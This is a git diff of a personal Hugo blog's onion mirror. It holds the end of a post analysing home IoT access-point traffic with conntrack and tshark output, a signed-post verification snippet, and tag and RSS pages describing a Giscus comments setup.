    +1763935618 48:e1:e9:bd:08:0d 192.168.50.118 * *
    +1763935615 48:e1:e9:bd:0b:a7 192.168.50.233 * *
    +1763935618 7c:f1:7e:ff:e1:b0 192.168.50.104 KH100 *
    +1763935607 cc:b5:d1:31:a4:cc 192.168.50.134 espressif 01:cc:b5:d1:31:a4:cc
    +

    2) Top talkers by bytes (hosts table)

    +
    192.168.50.233,7346
    +192.168.50.118,7216
    +192.168.50.131,7216
    +17.253.53.203,7040
    +54.217.122.41,6271
    +192.168.50.216,5392
    +192.168.50.104,3058
    +192.168.50.189,2278
    +17.242.218.132,1802
    +192.168.50.134,1750
    +192.168.50.196,1653
    +3.122.71.119,639
    +18.196.19.65,570
    +161.117.178.131,391
    +17.253.53.201,148
    +17.57.146.25,90
    +10.172.72.196,66
    +224.0.0.251,0
    +224.0.0.2,0
    +255.255.255.255,0
    +

    3) Heaviest flows (src, dst, proto, dport, bytes)

    +
    192.168.50.202,192.168.50.131,TCP,59903,402
    +192.168.50.202,192.168.50.118,TCP,59807,402
    +161.117.178.131,192.168.50.134,TCP,58246,391
    +192.168.50.216,192.168.50.202,UDP,5353,336
    +192.168.50.202,192.168.50.189,UDP,5353,312
    +192.168.50.202,192.168.50.196,UDP,5353,234
    +17.253.53.203,192.168.50.202,TCP,64726,222
    +192.168.50.216,17.57.146.25,TCP,5223,172
    +192.168.50.216,192.168.50.233,UDP,5353,162
    +192.168.50.202,192.168.50.104,UDP,5353,156
    +17.253.53.201,192.168.50.202,TCP,64727,148
    +192.168.50.202,17.253.53.201,TCP,443,132
    +192.168.50.216,224.0.0.251,IP,0,92
    +192.168.50.216,224.0.0.2,IP,0,92
    +17.57.146.25,192.168.50.216,TCP,64544,90
    +192.168.50.216,192.168.50.118,UDP,5353,75
    +192.168.50.216,192.168.50.131,UDP,5353,75
    +192.168.50.216,192.168.50.134,UDP,5353,75
    +192.168.50.216,10.172.72.196,TCP,59593,70
    +10.172.72.196,192.168.50.216,TCP,51638,66
    +

    4) Conntrack snapshot (active connections inventory)

    +
    ipv4     2 tcp      6 48 TIME_WAIT src=10.172.71.98 dst=185.125.190.39 sport=55012 dport=80 src=185.125.190.39 dst=10.172.71.98 sport=80 dport=55012 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=185.40.234.113 sport=41641 dport=3478 src=185.40.234.113 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431665 ESTABLISHED src=192.168.50.216 dst=17.57.146.25 sport=64544 dport=5223 src=17.57.146.25 dst=10.172.71.98 sport=5223 dport=64544 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 17 src=10.172.72.196 dst=10.172.79.255 sport=137 dport=137 [UNREPLIED] src=10.172.79.255 dst=10.172.72.196 sport=137 dport=137 mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=192.168.50.196 dst=18.196.19.65 sport=55164 dport=8883 src=18.196.19.65 dst=10.172.71.98 sport=8883 dport=55164 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=41796 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=41796 mark=0 use=1
    +ipv4     2 unknown  2 265 src=192.168.50.216 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=192.168.50.216 mark=0 use=1
    +ipv4     2 udp      17 5 src=192.168.50.104 dst=1.1.1.1 sport=23791 dport=53 src=1.1.1.1 dst=10.172.71.98 sport=53 dport=23791 mark=0 use=1
    +ipv4     2 udp      17 119 src=10.172.72.205 dst=10.172.71.98 sport=41641 dport=41641 src=10.172.71.98 dst=10.172.72.205 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 27 src=10.172.71.98 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=10.172.71.98 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 tcp      6 431946 ESTABLISHED src=192.168.50.202 dst=17.242.218.132 sport=64686 dport=5223 src=17.242.218.132 dst=10.172.71.98 sport=5223 dport=64686 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=239.255.255.250 sport=40234 dport=1900 [UNREPLIED] src=239.255.255.250 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 96 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49707 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49707 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=1900 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=1900 dport=40234 mark=0 use=1
    +ipv4     2 tcp      6 431812 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55514 dport=49395 src=192.168.50.202 dst=192.168.50.1 sport=49395 dport=55514 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431666 ESTABLISHED src=192.168.50.216 dst=10.172.72.196 sport=51638 dport=59593 src=10.172.72.196 dst=10.172.71.98 sport=59593 dport=51638 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55510 dport=7000 src=192.168.50.202 dst=192.168.50.1 sport=7000 dport=55510 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 14 src=192.168.50.131 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.131 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 unknown  2 596 src=10.172.72.205 dst=224.0.0.251 [UNREPLIED] src=224.0.0.251 dst=10.172.72.205 mark=0 use=1
    +ipv4     2 udp      17 27 src=192.168.50.1 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.1 sport=5353 dport=5353 mark=0 use=8
    +ipv4     2 udp      17 27 src=10.172.72.205 dst=10.172.71.98 sport=5353 dport=5353 [UNREPLIED] src=10.172.71.98 dst=10.172.72.205 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 15 src=192.168.50.118 dst=224.0.0.251 sport=5353 dport=5353 [UNREPLIED] src=224.0.0.251 dst=192.168.50.118 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 88 src=10.172.71.98 dst=109.43.114.250 sport=41641 dport=41641 src=109.43.114.250 dst=10.172.71.98 sport=41641 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=192.168.50.104 dst=18.234.9.109 sport=49700 dport=443 src=18.234.9.109 dst=10.172.71.98 sport=443 dport=49700 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431998 ESTABLISHED src=10.172.71.98 dst=199.165.136.101 sport=45248 dport=443 src=199.165.136.101 dst=10.172.71.98 sport=443 dport=45248 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431992 ESTABLISHED src=10.172.72.196 dst=10.172.71.98 sport=63953 dport=22 src=10.172.71.98 dst=10.172.72.196 sport=22 dport=63953 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431995 ESTABLISHED src=192.168.50.189 dst=3.122.71.119 sport=50422 dport=8883 src=3.122.71.119 dst=10.172.71.98 sport=8883 dport=50422 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.90.104 sport=41641 dport=3478 src=176.58.90.104 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 107 TIME_WAIT src=10.172.71.98 dst=185.125.190.36 sport=50914 dport=80 src=185.125.190.36 dst=10.172.71.98 sport=80 dport=50914 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 26 src=192.168.50.202 dst=192.168.50.1 sport=5353 dport=5353 [UNREPLIED] src=192.168.50.1 dst=192.168.50.202 sport=5353 dport=5353 mark=0 use=1
    +ipv4     2 udp      17 16 src=127.0.0.1 dst=127.0.0.53 sport=33321 dport=53 src=127.0.0.53 dst=127.0.0.1 sport=53 dport=33321 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=192.168.50.134 dst=161.117.178.131 sport=58246 dport=11883 src=161.117.178.131 dst=10.172.71.98 sport=11883 dport=58246 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 16 src=10.172.71.98 dst=10.172.64.1 sport=35510 dport=53 src=10.172.64.1 dst=10.172.71.98 sport=53 dport=35510 mark=0 use=1
    +ipv4     2 udp      17 100 src=10.172.71.98 dst=176.58.93.154 sport=41641 dport=3478 src=176.58.93.154 dst=10.172.71.98 sport=3478 dport=41641 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431652 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55513 dport=49394 src=192.168.50.202 dst=192.168.50.1 sport=49394 dport=55513 [ASSURED] mark=0 use=1
    +ipv4     2 udp      17 23 src=192.168.50.104 dst=255.255.255.255 sport=21112 dport=20002 [UNREPLIED] src=255.255.255.255 dst=192.168.50.104 sport=20002 dport=21112 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=40234 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=40234 mark=0 use=1
    +ipv4     2 udp      17 10 src=10.172.71.98 dst=10.172.64.1 sport=34331 dport=5351 [UNREPLIED] src=10.172.64.1 dst=10.172.71.98 sport=5351 dport=34331 mark=0 use=1
    +ipv4     2 tcp      6 431975 ESTABLISHED src=10.172.71.98 dst=192.200.0.115 sport=48100 dport=443 src=192.200.0.115 dst=10.172.71.98 sport=443 dport=48100 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431999 ESTABLISHED src=10.172.71.98 dst=176.58.93.154 sport=58128 dport=443 src=176.58.93.154 dst=10.172.71.98 sport=443 dport=58128 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 431997 ESTABLISHED src=100.69.238.103 dst=192.168.50.202 sport=55515 dport=49154 src=192.168.50.202 dst=192.168.50.1 sport=49154 dport=55515 [ASSURED] mark=0 use=1
    +ipv4     2 tcp      6 118 TIME_WAIT src=192.168.50.104 dst=3.217.113.91 sport=49708 dport=443 src=3.217.113.91 dst=10.172.71.98 sport=443 dport=49708 [ASSURED] mark=0 use=1
    +

    5) Part of Raw packet capture

    +
      +
    • What’s inside?
    • +
    +
    tshark -r iot_ap_120s.pcap -q -z io,stat,60
    +
    +
    +==================================
    +| IO Statistics                  |
    +|                                |
    +| Duration: 119.773534 secs      |
    +| Interval:  60 secs             |
    +|                                |
    +| Col 1: Frames and bytes        |
    +|--------------------------------|
    +|            |1                  |
    +| Interval   | Frames |   Bytes  |
    +|--------------------------------|
    +|   0 <>  60 |    400 |    60449 |
    +|  60 <> Dur |  24672 | 30179911 |
    +==================================
    +
      +
    • Protocol hierarchy (what kinds of traffic?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -q -z io,phs
    +
    +===================================================================
    +Protocol Hierarchy Statistics
    +Filter: 
    +
    +eth                                      frames:25072 bytes:30240360
    +  ip                                     frames:24706 bytes:30195993
    +    udp                                  frames:349 bytes:94583
    +      mdns                               frames:241 bytes:60693
    +      data                               frames:32 bytes:2240
    +      quic                               frames:76 bytes:31650
    +        quic                             frames:2 bytes:2484
    +    tcp                                  frames:24353 bytes:30101226
    +      tls                                frames:2413 bytes:3493680
    +        tcp.segments                     frames:2256 bytes:3378795
    +          tls                            frames:2222 bytes:3353799
    +      data                               frames:147 bytes:71717
    +      tcp.segments                       frames:5 bytes:7550
    +    igmp                                 frames:4 bytes:184
    +  arp                                    frames:150 bytes:6300
    +  ipv6                                   frames:216 bytes:38067
    +    icmpv6                               frames:124 bytes:10704
    +    udp                                  frames:79 bytes:25415
    +      data                               frames:2 bytes:132
    +      mdns                               frames:77 bytes:25283
    +    tcp                                  frames:13 bytes:1948
    +      data                               frames:1 bytes:90
    +===================================================================
    +
      +
    • Top IP conversations (who talked to whom?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -q -z conv,ip
    +================================================================================
    +IPv4 Conversations
    +Filter:<No Filter>
    +                                               |       <-      | |       ->      | |     Total     |    Relative    |   Duration   |
    +                                               | Frames  Bytes | | Frames  Bytes | | Frames  Bytes |      Start     |              |
    +192.168.50.202       <-> 17.253.37.195          19588 29 MB        3912 286 kB      23500 29 MB        72.555738000        21.8560
    +192.168.50.1         <-> 192.168.50.202           239 74 kB         238 46 kB         477 120 kB        0.293866000       119.4797
    +192.168.50.1         <-> 224.0.0.251                0 0 bytes       118 28 kB         118 28 kB         0.000000000       119.7310
    +192.168.50.202       <-> 1.1.1.1                   40 20 kB          36 10 kB          76 31 kB        72.033321000        30.3367
    +192.168.50.202       <-> 2.19.120.151              47 44 kB          29 8,460 bytes      76 53 kB        72.062807000        14.8525
    +192.168.50.202       <-> 17.56.138.35              27 7,602 bytes      33 13 kB          60 20 kB        72.107270000        15.0196
    +192.168.50.202       <-> 17.253.53.203             17 7,040 bytes      23 9,256 bytes      40 16 kB        72.326823000        10.5130
    +192.168.50.202       <-> 54.217.122.41             19 6,271 bytes      18 6,122 bytes      37 12 kB       102.352119000         0.3678
    +192.168.50.202       <-> 17.253.53.202             19 22 kB          17 3,099 bytes      36 25 kB        81.940717000         0.3208
    +192.168.50.202       <-> 23.58.105.122             19 9,936 bytes      16 5,759 bytes      35 15 kB        72.225431000         9.6434
    +192.168.50.104       <-> 255.255.255.255            0 0 bytes        32 2,240 bytes      32 2,240 bytes    50.628126000        65.2664
    +17.242.218.132       <-> 192.168.50.202            12 1,701 bytes      13 1,802 bytes      25 3,503 bytes    20.967857000        62.0463
    +192.168.50.189       <-> 3.122.71.119               8 639 bytes      13 978 bytes      21 1,617 bytes     1.112174000       108.8174
    +192.168.50.131       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    19.033978000        79.6932
    +192.168.50.118       <-> 224.0.0.251                0 0 bytes        20 6,092 bytes      20 6,092 bytes    79.030835000        19.7664
    +192.168.50.233       <-> 224.0.0.251                0 0 bytes        20 6,052 bytes      20 6,052 bytes    79.031250000        19.7814
    +192.168.50.196       <-> 18.196.19.65               8 570 bytes      10 678 bytes      18 1,248 bytes     4.963201000       107.5242
    +192.168.50.216       <-> 224.0.0.251                0 0 bytes        12 3,880 bytes      12 3,880 bytes    98.049857000         4.2949
    +192.168.50.134       <-> 161.117.178.131            5 391 bytes       4 960 bytes       9 1,351 bytes    15.392290000        60.5936
    +192.168.50.202       <-> 192.168.50.189             4 1,300 bytes       4 312 bytes       8 1,612 bytes    26.274469000        93.2919
    +192.168.50.202       <-> 192.168.50.118             2 406 bytes       4 402 bytes       6 808 bytes    17.999757000        60.1593
    +192.168.50.202       <-> 192.168.50.131             2 406 bytes       4 402 bytes       6 808 bytes    17.999812000        60.1593
    +192.168.50.202       <-> 192.168.50.233             2 406 bytes       4 402 bytes       6 808 bytes    17.999825000        60.1592
    +192.168.50.202       <-> 192.168.50.196             3 975 bytes       3 234 bytes       6 1,209 bytes    30.223646000        89.3442
    +192.168.50.216       <-> 192.168.50.233             4 888 bytes       2 162 bytes       6 1,050 bytes    98.322145000         0.1456
    +192.168.50.216       <-> 192.168.50.202             1 1,092 bytes       4 336 bytes       5 1,428 bytes    98.319211000         0.2939
    +192.168.50.216       <-> 192.168.50.1               0 0 bytes         5 455 bytes       5 455 bytes    98.319329000         0.2505
    +192.168.50.202       <-> 17.253.53.201              2 148 bytes       2 132 bytes       4 280 bytes    81.716483000         1.0465
    +192.168.50.202       <-> 192.168.50.104             2 818 bytes       2 156 bytes       4 974 bytes    87.030561000         0.0107
    +192.168.50.216       <-> 192.168.50.131             3 718 bytes       1 75 bytes        4 793 bytes    98.321918000         0.1421
    +192.168.50.216       <-> 192.168.50.118             3 718 bytes       1 75 bytes        4 793 bytes    98.322266000         0.1420
    +192.168.50.216       <-> 17.57.146.25               1 90 bytes        2 172 bytes       3 262 bytes    98.048979000         0.0384
    +192.168.50.216       <-> 192.168.50.134             2 790 bytes       1 75 bytes        3 865 bytes    98.321779000         0.2550
    +192.168.50.216       <-> 224.0.0.2                  0 0 bytes         2 92 bytes        2 92 bytes     98.049757000         0.0001
    +192.168.50.216       <-> 10.172.72.196              1 66 bytes        1 70 bytes        2 136 bytes    98.664295000         0.0060
    +================================================================================
    +
      +
    • Fast “top talkers” table (by source IP)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap  -T fields -e ip.src -e frame.len \
    +  | awk 'NF==2{b[$1]+=$2} END{for (h in b) printf "%-16s %12d\n", h, b[h]}' \
    +  | sort -k2,2nr | head -n 20
    +17.253.37.195        29540349
    +192.168.50.202         422414
    +192.168.50.1            75521
    +2.19.120.151            44554
    +17.253.53.202           22016
    +1.1.1.1                 20675
    +23.58.105.122            9936
    +17.56.138.35             7602
    +192.168.50.233           7346
    +192.168.50.118           7216
    +192.168.50.131           7216
    +17.253.53.203            7040
    +54.217.122.41            6271
    +192.168.50.216           5392
    +192.168.50.104           3058
    +192.168.50.189           2278
    +17.242.218.132           1802
    +192.168.50.134           1750
    +192.168.50.196           1653
    +3.122.71.119              639
    +
      +
    • DNS & mDNS highlights (what names show up?)
    • +
    +
    # DNS queries (unicast)
    +❯ tshark -r iot_ap_120s.pcap -Y "dns.flags.response==0" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name | head -n 20
    +Nov 23, 2025 11:48:38.131162000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:42.961690000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:42.962245000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:42.962911000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:43.098378000 CET	192.168.50.1	MSS110-f691._hap._tcp.local
    +Nov 23, 2025 11:48:43.158641000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:43.201440000 CET	192.168.50.202	_companion-link._tcp.local
    +Nov 23, 2025 11:48:43.532623000 CET	192.168.50.1	MSS110-080d._hap._tcp.local
    +Nov 23, 2025 11:48:43.962673000 CET	192.168.50.1	_hap._tcp.local,MSS110-0ba7._hap._tcp.local,Main Bedroom (3)._companion-link._tcp.local,HomePodSensor 185277._hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:49.110167000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:49.110760000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:49.111395000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:49.272920000 CET	192.168.50.1	Qingping Air Monitor Lite._hap._tcp.local
    +Nov 23, 2025 11:48:49.311002000 CET	192.168.50.1	MSS110-0ba7._hap._tcp.local
    +Nov 23, 2025 11:48:49.619376000 CET	192.168.50.1	Main Bedroom (3)._companion-link._tcp.local,MSS110-f691._hap._tcp.local,MSS110-080d._hap._tcp.local,HomePodSensor 185277._hap._tcp.local
    +Nov 23, 2025 11:48:50.115506000 CET	192.168.50.1	_hap._tcp.local,_rdlink._tcp.local,_companion-link._tcp.local,_hap._udp.local
    +Nov 23, 2025 11:48:55.037844000 CET	192.168.50.1	_hap._tcp.local
    +Nov 23, 2025 11:48:55.038380000 CET	192.168.50.1	_companion-link._tcp.local
    +Nov 23, 2025 11:48:55.038926000 CET	192.168.50.1	_hap._udp.local,_rdlink._tcp.local
    +Nov 23, 2025 11:48:55.060503000 CET	192.168.50.202	_companion-link._tcp.local
    +
    +# mDNS service announcements (AirPlay/HomeKit live here)
    +❯ tshark -r iot_ap_120s.pcap  -Y "udp.port==5353 && dns" \
    +  -T fields -e frame.time -e ip.src -e dns.qry.name -e dns.ptr.domain_name \
    +  | head -n 30
    +

    The latter had no output as I wasn’t able to make that work with a static route and relied on Tailscale. (?)

    +
      +
    • TLS SNI (which cloud endpoints?)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -Y "tls.handshake.extensions_server_name" \
    +  -T fields -e ip.dst -e tls.handshake.extensions_server_name \
    +  | sort | uniq -c | sort -k1,1nr | head -n 20
    +   1 1.1.1.1	one.one.one.one
    +   1 17.253.37.195	streamingaudio.itunes.apple.com
    +   1 17.253.53.202	pancake.apple.com
    +   1 17.253.53.203	radio-activity.itunes.apple.com
    +   1 17.56.138.35	cma.itunes.apple.com
    +   1 2.19.120.151	play.itunes.apple.com
    +   1 23.58.105.122	librarydaap.itunes.apple.com
    +   1 54.217.122.41	guzzoni.apple.com
    +
      +
    • Ports in use (quick heat check)
    • +
    +
    ❯ tshark -r iot_ap_120s.pcap -T fields -e _ws.col.Protocol -e tcp.dstport -e udp.dstport \
    +  | awk '{for(i=1;i<=NF;i++) if($i~/^[0-9]+$/) p[$i]++} END{for(k in p) printf "%-8s %8d\n", k, p[k]}' \
    +  | sort -k2,2nr | head -n 20
    +64725       19588
    +443          4086
    +5353          318
    +49395         109
    +7000          109
    +55514         102
    +55510         101
    +64721          47
    +54806          40
    +20002          32
    +64722          27
    +8883           23
    +49154          21
    +55515          21
    +64723          19
    +64728          19
    +64729          19
    +5223           14
    +64724          14
    +64686          13
    +

    +

    Epilogue

    +

    I’ve been having so so much trouble with setting up a iot-hub for my house where I can connect all my IoT devices to, and without putting a phone on hotspot. Now I finally did it, and I even treated myself by allowing mDNS routing! Let’s cross our fingers and hope this setup finally works nicely.

    +
    +
    +

    Downloads: + Markdown · + Signature (.asc) +

    + View OpenPGP signature +
    -----BEGIN PGP SIGNATURE-----
    +
    +iQIzBAABCgAdFiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmpkbuUACgkQtYgoUOBM
    +jSr4mxAAr6wizjfSiJPTCywZaFD7DpF1QqVL5N2r7+W6iPkxjXU5ju4yaRyJ3LGP
    +ob51GUAPqSstrTZUJRIQs54MQMqL0WNBiesVSDXlT+cqAgRVN4SaYrRg+dV+kRCA
    +dnFuXXJBvo9y/QYk+SR4F2I9SeqsOQ2V0H2SxndLQAVI318VRbJLwaZF5XHLU8Ax
    +a/+sOpjI2bGgTCW6P2r97PaXyde9Itkdp0LBN2JfkXfmzdY1JdjPdaNmUZuY3N6J
    +HO4MfBUYX33RLmq/CSDm5wzOQRi1O9wt63CWJzzsZuZACbmuJ0gZHYM5JIBHXtnZ
    +wgdtfu31ulnFPVfoIVjCCcN80kWlh671ONKQTZOysknFonm5pIUJnOcCQ4S3HfIm
    +Of5kojUQegInp84ju4yYKCMh115yB05XTyrhf62NouGQVGSBmNBwgFZe4kbfqZ4w
    +xsAfFOpk6niLqZTX1NmgaXeBcalFU2yOzIEH4dXu7OSZmN3UUznAxw4SciD0+HW+
    +T7RjrniAIgX3fFlqIexoDbCa6T2g8Gd00zBzHG65pO4mwAuFL4KB0xLU8KIz6L7M
    +aMFcFVAuq8GdqBbn6mRQ3UwFkOIjq+WbAgvxDJprxI9jBafm6IVXrISyHx0mYfnP
    +OAFDAL768GiHQz7LIB/lLa0qAT6Hs28JZ3/czfGPwVNthFp8tA0=
    +=bk46
    +-----END PGP SIGNATURE-----
    +
    +

    Verify locally:

    +
    torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md
    +torsocks curl -fSLO http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/sources/posts/house_upgrade.md.asc
    +gpg --verify house_upgrade.md.asc house_upgrade.md
    +  
    +
    + + +]]>
    +
    +
    +
    diff --git a/public-onion/tags/hostapd/page/1/index.html b/public-onion/tags/hostapd/page/1/index.html new file mode 100644 index 0000000..e6be1c1 --- /dev/null +++ b/public-onion/tags/hostapd/page/1/index.html @@ -0,0 +1,10 @@ + + + + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hostapd/ + + + + + + diff --git a/public-onion/tags/hugo/index.html b/public-onion/tags/hugo/index.html new file mode 100644 index 0000000..6280ca6 --- /dev/null +++ b/public-onion/tags/hugo/index.html @@ -0,0 +1,402 @@ + + + + + + + +Hugo | AlipourIm journeys + + + + + + + + + + + + + + + + + + + + + + + +
    + +
    +
    + + +
    +
    +

    New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) +

    +
    +
    +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site. +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did. +I’ve been wanting to add comment section to my blog for a while. There are a few problems. +I don’t want to get attacked by bots or random people for no reason. I don’t want to allow weird things to happen. I don’t want to have a database for it. So… I decided to take a path which is not necesserially the best. It requires a third party to act on your behalf, but it is not as scary as it sounds. According to Github: +...

    +
    +
    October 23, 2025 · 15 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    A Tiny 'Views' Badge Sent Me Down a Rabbit Hole (PaperMod + Busuanzi + Debugging --> swapped with GoatCounter the GOAT) +

    +
    +
    +

    I tried to add a simple ‘views’ counter to my PaperMod blog. It worked—until it didn’t. Here’s the story of blank numbers, a mysterious Chinese message, and the final fix.

    +
    +
    October 18, 2025 · 9 min · Iman Alipour + + + + + + +
    + +
    + +
    +
    +

    Running my blog on Tor (.onion) and the Clearnet with Hugo + PaperMod +

    +
    +
    +

    TL;DR — The site is built once (Hugo project), published twice: +Onion: http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/ via Tor, no TLS/HSTS, bound to 127.0.0.1:3301. Clearnet: https://blog.alipourimjourneys.ir behind Cloudflare, Let’s Encrypt cert, Onion-Location header pointing to the onion mirror. 1) Tor hidden service (onion) basics I used Tor’s v3 onion services and mapped onion port 80 → my local web server on 127.0.0.1:3301. +Install & configure Tor (Debian/Ubuntu): +sudo apt update && sudo apt install -y tor sudoedit /etc/tor/torrc Add: +...

    +
    +
    September 19, 2025 · 6 min · Iman Alipour + + + + + + +
    + +
    +
    + + + + + + + + + + + + +
    + + + + + + + RSS + + + + + Visitors this week: +
    + + + + + + + + diff --git a/public-onion/tags/hugo/index.xml b/public-onion/tags/hugo/index.xml new file mode 100644 index 0000000..1483947 --- /dev/null +++ b/public-onion/tags/hugo/index.xml @@ -0,0 +1,1220 @@ + + + + Hugo on AlipourIm journeys + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/tags/hugo/ + Recent content in Hugo on AlipourIm journeys + Hugo -- 0.146.0 + en + Thu, 23 Oct 2025 19:31:12 +0200 + + + New features for my blog! Adding Comments + RSS to Hugo PaperMod (Giscus and Isso FTW) + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + Thu, 23 Oct 2025 19:31:12 +0200 + http://fjthpp2h3mj2rup25r3psmqamutnkbvxbpltlohdthw6fscgo3t6bpad.onion/posts/comments-rss-papermod/ + A friendly, copy-pasteable guide to wiring up Giscus comments (GitHub Discussions) and Isso comments + RSS in Hugo PaperMod. + +

    Short story: I wanted comments and a proper RSS feed on my Hugo + PaperMod site.
    +Longer story: I spent 30 minutes poking around, and now you don’t have to. Here’s exactly what I did.

    +
    +

    I’ve been wanting to add comment section to my blog for a while. +There are a few problems.

    +
      +
    • I don’t want to get attacked by bots or random people for no reason.
    • +
    • I don’t want to allow weird things to happen.
    • +
    • I don’t want to have a database for it.
    • +
    +

    So… I decided to take a path which is not necesserially the best. +It requires a third party to act on your behalf, but it is not as scary as it sounds. +According to Github:

    +
    +

    What the app can do +The app’s rights are limited to the repo(s) where the site owner installed it and to the permissions it requested (basically: Discussions read/write + metadata). It can’t touch a commenter’s private repos or do things outside those scopes. GitHub’s docs also say a GitHub App can only do what both you and the app have permission to do.

    +
    +

    What “Act on your behalf” means +That scary wording is GitHub’s. The giscus maintainer explains it means “post comments under your username,” and shows that the app requests Discussions read/write + metadata when installed.

    +
    +

    Do commenters have alternatives? +Yes. Anyone can open the linked GitHub Discussion and comment directly on GitHub, bypassing the app’s OAuth popup. The README explicitly mentions this.

    +
    +

    Privacy & storage +No tracking/ads; comments live in GitHub Discussions. giscus is open-source and has a published privacy policy. You can also revoke the app any time in your GitHub settings.

    +

    With the notice out of the way let’s dive right in!

    +
    +

    Why I chose Giscus (instead of Disqus)

    +
      +
    • No ads or trackers (my page weight thanks me).
    • +
    • Uses GitHub Discussions (portable, transparent, easy to search).
    • +
    • Readers log in with GitHub (no mystery auth popups).
    • +
    • In theory you can directly go to the repo’s discussion section and comment there!
    • +
    +
    +

    What you need (for your site, not per user)

    +
      +
    • A Hugo site using PaperMod
    • +
    • A GitHub account ✅
    • +
    • A public repository for the discussion threads (I called mine blog-comments) with Discussions enabled ✅
    • +
    • Giscus app installed on that repo ✅
    • +
    +

    If you like to keep your main site repo clean, use a separate one, e.g. github-username/blog-comments.

    +
    +

    1) Turn on comments with Giscus

    +

    PaperMod renders a comments.html partial when params.comments = true.
    +So we enable it in config and create the partial.

    +

    1.1 Enable comments globally

    +

    hugo.toml (snippet)

    +
    [params]
    +  comments = true
    +

    You can still opt out per post with comments = false in front matter.

    +

    1.2 Create the comments partial

    +

